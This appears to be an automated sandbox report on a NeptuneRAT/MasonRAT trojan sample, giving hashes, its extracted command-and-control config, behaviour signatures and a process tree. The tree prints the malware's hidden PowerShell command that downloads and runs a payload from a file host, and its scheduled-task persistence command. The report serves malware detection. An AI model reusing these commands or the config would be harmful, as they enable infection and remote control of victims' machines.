neptunerat | 72faffb7f0ad058f27ed60bb2275f04ef0100b85783289b8f05de07a8e50beac

Analysis

max time kernel
150s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 03:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Server.exe
Size 248KB
Sample260808-d565aaswdx
SHA256 72faffb7f0ad058f27ed60bb2275f04ef0100b85783289b8f05de07a8e50beac
MD5 9bafba8bfde3127b67cde15f83047b30
SHA1 9ec4cae790256d77f102f5caedf43be93f4fb260
SHA512 e4f39d5934d959d06a2f9ab844367a7e58fb31ab40d1d1586a4d9be53be4bfd5dd4964d3294b957827223550964cb87d38411d463e63b1e36aca97ac101a48a2
SSDEEP 3072:gZ4cImeMb8sbOmwotLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQd:fbMb9/5bTgVziHzZnSKrCbYMy6bT8Bq
TLSH
T16F4428A6F7A000F6D4BE41718D636B06B7B2F0370721D7EF1A9449993F637A04D29BA1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution neptunerat persistence trojan

Malware Config

Extracted

Family

neptunerat

viperalza7fgg-40476.portmap.host:40476

Attributes

filename
USB.exe
group
MasonGroup
key
9wrRyOC9NiWIvgni
rat_name
MasonRAT

Signatures

Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
trojan neptunerat

Detects NeptuneRAT stealer 2 IoCs

resource	yara_rule
behavioral2/memory/4680-0-0x000001E6E3F50000-0x000001E6E3F94000-memory.dmp	family_neptunerat
behavioral2/memory/4680-327-0x000001E6E5EE0000-0x000001E6E5EF2000-memory.dmp	family_neptunerat

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5276 created 5868	5276	WerFault.exe	80

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2756 created 5868	2756	svchost.exe	80

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4984	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4984	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4716	pxujdgs5.32h.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx	svchost.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
22	raw.githubusercontent.com

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8A7891822FCFF127E4EADADE9757112B	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\MasonServer.exe	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8A7891822FCFF127E4EADADE9757112B	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8A7891822FCFF127E4EADADE9757112B	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 07 Aug 2026 16:21:33 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1786160219"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={72ECA13C-48B8-4A41-9A42-2230E9257E91}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\NotificationData	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\NotificationData\0D83063EA3B8FCF5 = 0100000000000002	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4808	SCHTASKS.exe
4360	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
3480	WerFault.exe
3480	WerFault.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
2756	svchost.exe
2756	svchost.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4984	powershell.exe
4984	powershell.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4984	powershell.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4984	powershell.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4984	powershell.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe
4716	pxujdgs5.32h.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5868	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4680	Server.exe
Token: SeDebugPrivilege	4716	pxujdgs5.32h.exe
Token: SeDebugPrivilege	4984	powershell.exe
Token: SeShutdownPrivilege	5868	explorer.exe
Token: SeCreatePagefilePrivilege	5868	explorer.exe
Token: SeShutdownPrivilege	5868	explorer.exe
Token: SeCreatePagefilePrivilege	5868	explorer.exe
Token: SeShutdownPrivilege	5868	explorer.exe
Token: SeCreatePagefilePrivilege	5868	explorer.exe
Token: SeShutdownPrivilege	5868	explorer.exe
Token: SeCreatePagefilePrivilege	5868	explorer.exe
Token: SeShutdownPrivilege	5868	explorer.exe
Token: SeCreatePagefilePrivilege	5868	explorer.exe
Token: SeShutdownPrivilege	5868	explorer.exe
Token: SeCreatePagefilePrivilege	5868	explorer.exe
Token: SeShutdownPrivilege	5868	explorer.exe
Token: SeCreatePagefilePrivilege	5868	explorer.exe
Token: SeShutdownPrivilege	5868	explorer.exe
Token: SeCreatePagefilePrivilege	5868	explorer.exe
Token: SeAssignPrimaryTokenPrivilege	3652	svchost.exe
Token: SeIncreaseQuotaPrivilege	3652	svchost.exe
Token: SeSecurityPrivilege	3652	svchost.exe
Token: SeTakeOwnershipPrivilege	3652	svchost.exe
Token: SeLoadDriverPrivilege	3652	svchost.exe
Token: SeSystemtimePrivilege	3652	svchost.exe
Token: SeBackupPrivilege	3652	svchost.exe
Token: SeRestorePrivilege	3652	svchost.exe
Token: SeShutdownPrivilege	3652	svchost.exe
Token: SeSystemEnvironmentPrivilege	3652	svchost.exe
Token: SeUndockPrivilege	3652	svchost.exe
Token: SeManageVolumePrivilege	3652	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3652	svchost.exe
Token: SeIncreaseQuotaPrivilege	3652	svchost.exe
Token: SeSecurityPrivilege	3652	svchost.exe
Token: SeTakeOwnershipPrivilege	3652	svchost.exe
Token: SeLoadDriverPrivilege	3652	svchost.exe
Token: SeSystemtimePrivilege	3652	svchost.exe
Token: SeBackupPrivilege	3652	svchost.exe
Token: SeRestorePrivilege	3652	svchost.exe
Token: SeShutdownPrivilege	3652	svchost.exe
Token: SeSystemEnvironmentPrivilege	3652	svchost.exe
Token: SeUndockPrivilege	3652	svchost.exe
Token: SeManageVolumePrivilege	3652	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3652	svchost.exe
Token: SeIncreaseQuotaPrivilege	3652	svchost.exe
Token: SeSecurityPrivilege	3652	svchost.exe
Token: SeTakeOwnershipPrivilege	3652	svchost.exe
Token: SeLoadDriverPrivilege	3652	svchost.exe
Token: SeSystemtimePrivilege	3652	svchost.exe
Token: SeBackupPrivilege	3652	svchost.exe
Token: SeRestorePrivilege	3652	svchost.exe
Token: SeShutdownPrivilege	3652	svchost.exe
Token: SeSystemEnvironmentPrivilege	3652	svchost.exe
Token: SeUndockPrivilege	3652	svchost.exe
Token: SeManageVolumePrivilege	3652	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3652	svchost.exe
Token: SeIncreaseQuotaPrivilege	3652	svchost.exe
Token: SeSecurityPrivilege	3652	svchost.exe
Token: SeTakeOwnershipPrivilege	3652	svchost.exe
Token: SeLoadDriverPrivilege	3652	svchost.exe
Token: SeSystemtimePrivilege	3652	svchost.exe
Token: SeBackupPrivilege	3652	svchost.exe
Token: SeRestorePrivilege	3652	svchost.exe
Token: SeShutdownPrivilege	3652	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6032	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 4716	4680	Server.exe	88
PID 4680 wrote to memory of 4808	4680	Server.exe	89
PID 4716 wrote to memory of 760	4716	pxujdgs5.32h.exe	5
PID 4716 wrote to memory of 972	4716	pxujdgs5.32h.exe	9
PID 4716 wrote to memory of 980	4716	pxujdgs5.32h.exe	10
PID 4716 wrote to memory of 368	4716	pxujdgs5.32h.exe	11
PID 4716 wrote to memory of 1040	4716	pxujdgs5.32h.exe	13
PID 4716 wrote to memory of 1116	4716	pxujdgs5.32h.exe	14
PID 4716 wrote to memory of 1188	4716	pxujdgs5.32h.exe	15
PID 4716 wrote to memory of 1236	4716	pxujdgs5.32h.exe	16
PID 4716 wrote to memory of 1308	4716	pxujdgs5.32h.exe	17
PID 4716 wrote to memory of 1340	4716	pxujdgs5.32h.exe	18
PID 4716 wrote to memory of 1600	4716	pxujdgs5.32h.exe	21
PID 4716 wrote to memory of 1608	4716	pxujdgs5.32h.exe	22
PID 4716 wrote to memory of 1656	4716	pxujdgs5.32h.exe	23
PID 4716 wrote to memory of 1756	4716	pxujdgs5.32h.exe	24
PID 4716 wrote to memory of 1816	4716	pxujdgs5.32h.exe	25
PID 4716 wrote to memory of 1896	4716	pxujdgs5.32h.exe	26
PID 4716 wrote to memory of 1924	4716	pxujdgs5.32h.exe	27
PID 4716 wrote to memory of 2000	4716	pxujdgs5.32h.exe	28
PID 4716 wrote to memory of 1712	4716	pxujdgs5.32h.exe	29
PID 4716 wrote to memory of 480	4716	pxujdgs5.32h.exe	30
PID 4716 wrote to memory of 2120	4716	pxujdgs5.32h.exe	31
PID 4716 wrote to memory of 2228	4716	pxujdgs5.32h.exe	32
PID 4716 wrote to memory of 2292	4716	pxujdgs5.32h.exe	33
PID 4716 wrote to memory of 2380	4716	pxujdgs5.32h.exe	34
PID 4716 wrote to memory of 2432	4716	pxujdgs5.32h.exe	35
PID 4716 wrote to memory of 2484	4716	pxujdgs5.32h.exe	36
PID 4716 wrote to memory of 2548	4716	pxujdgs5.32h.exe	37
PID 4716 wrote to memory of 2564	4716	pxujdgs5.32h.exe	38
PID 4716 wrote to memory of 2708	4716	pxujdgs5.32h.exe	39
PID 4716 wrote to memory of 2744	4716	pxujdgs5.32h.exe	40
PID 4716 wrote to memory of 2964	4716	pxujdgs5.32h.exe	41
PID 4716 wrote to memory of 3032	4716	pxujdgs5.32h.exe	42
PID 4716 wrote to memory of 2088	4716	pxujdgs5.32h.exe	43
PID 4716 wrote to memory of 2360	4716	pxujdgs5.32h.exe	44
PID 4716 wrote to memory of 3128	4716	pxujdgs5.32h.exe	45
PID 4716 wrote to memory of 3276	4716	pxujdgs5.32h.exe	47
PID 4716 wrote to memory of 3500	4716	pxujdgs5.32h.exe	48
PID 4716 wrote to memory of 3584	4716	pxujdgs5.32h.exe	49
PID 4716 wrote to memory of 3632	4716	pxujdgs5.32h.exe	50
PID 4716 wrote to memory of 3652	4716	pxujdgs5.32h.exe	51
PID 4716 wrote to memory of 3660	4716	pxujdgs5.32h.exe	52
PID 4716 wrote to memory of 3692	4716	pxujdgs5.32h.exe	53
PID 4716 wrote to memory of 3700	4716	pxujdgs5.32h.exe	54
PID 4716 wrote to memory of 1252	4716	pxujdgs5.32h.exe	55
PID 4716 wrote to memory of 1124	4716	pxujdgs5.32h.exe	56
PID 4716 wrote to memory of 4424	4716	pxujdgs5.32h.exe	57
PID 4716 wrote to memory of 4472	4716	pxujdgs5.32h.exe	58
PID 4716 wrote to memory of 4544	4716	pxujdgs5.32h.exe	59
PID 4716 wrote to memory of 4652	4716	pxujdgs5.32h.exe	60
PID 4716 wrote to memory of 4832	4716	pxujdgs5.32h.exe	61
PID 4716 wrote to memory of 2736	4716	pxujdgs5.32h.exe	62
PID 4716 wrote to memory of 1204	4716	pxujdgs5.32h.exe	63
PID 4716 wrote to memory of 5136	4716	pxujdgs5.32h.exe	64
PID 4716 wrote to memory of 5352	4716	pxujdgs5.32h.exe	66
PID 4716 wrote to memory of 5444	4716	pxujdgs5.32h.exe	67
PID 4716 wrote to memory of 3492	4716	pxujdgs5.32h.exe	70
PID 4716 wrote to memory of 5920	4716	pxujdgs5.32h.exe	71
PID 4716 wrote to memory of 3680	4716	pxujdgs5.32h.exe	73
PID 4716 wrote to memory of 4896	4716	pxujdgs5.32h.exe	76
PID 4716 wrote to memory of 6080	4716	pxujdgs5.32h.exe	77
PID 4716 wrote to memory of 3284	4716	pxujdgs5.32h.exe	78
PID 4716 wrote to memory of 5868	4716	pxujdgs5.32h.exe	80

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:760
- C:\Windows\system32\fontdrvhost.exe
  "fontdrvhost.exe"
  2⤵
  PID:980
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1188

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:972

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-14745098-f77a-42e2-b072-df999a3eb599 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-472676b3-749d-40f1-86e6-59017bee164b -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-cdaa4879-b110-44ea-94ef-5a0967003854 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-42cdaaa0-80be-43b4-bf67-c703dc4e10d5 -LifetimeId:75711c02-339c-4c60-bc3c-0f87afbc72bb -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1308

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
1⤵
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1896
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3284
- - C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    3⤵
    - Modifies registry class
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:5868
  - - C:\Users\Admin\AppData\Local\Temp\Server.exe
      "C:\Users\Admin\AppData\Local\Temp\Server.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4680
    - - C:\Users\Admin\AppData\Local\Temp\pxujdgs5.32h.exe
        
        "C:\Users\Admin\AppData\Local\Temp\pxujdgs5.32h.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4716
    - - C:\Windows\SYSTEM32\SCHTASKS.exe
        
        "SCHTASKS.exe" /create /tn "MasonServer.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Server.exe'" /sc onlogon /rl HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4808
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4708
    - - C:\Windows\SYSTEM32\SCHTASKS.exe
        
        "SCHTASKS.exe" /create /tn "MasonServer.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Server.exe'" /sc onlogon /rl HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4360
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5580
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4984
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:6032
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 5868 -s 6484
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:2120

C:\Windows\System32\svchost.exe
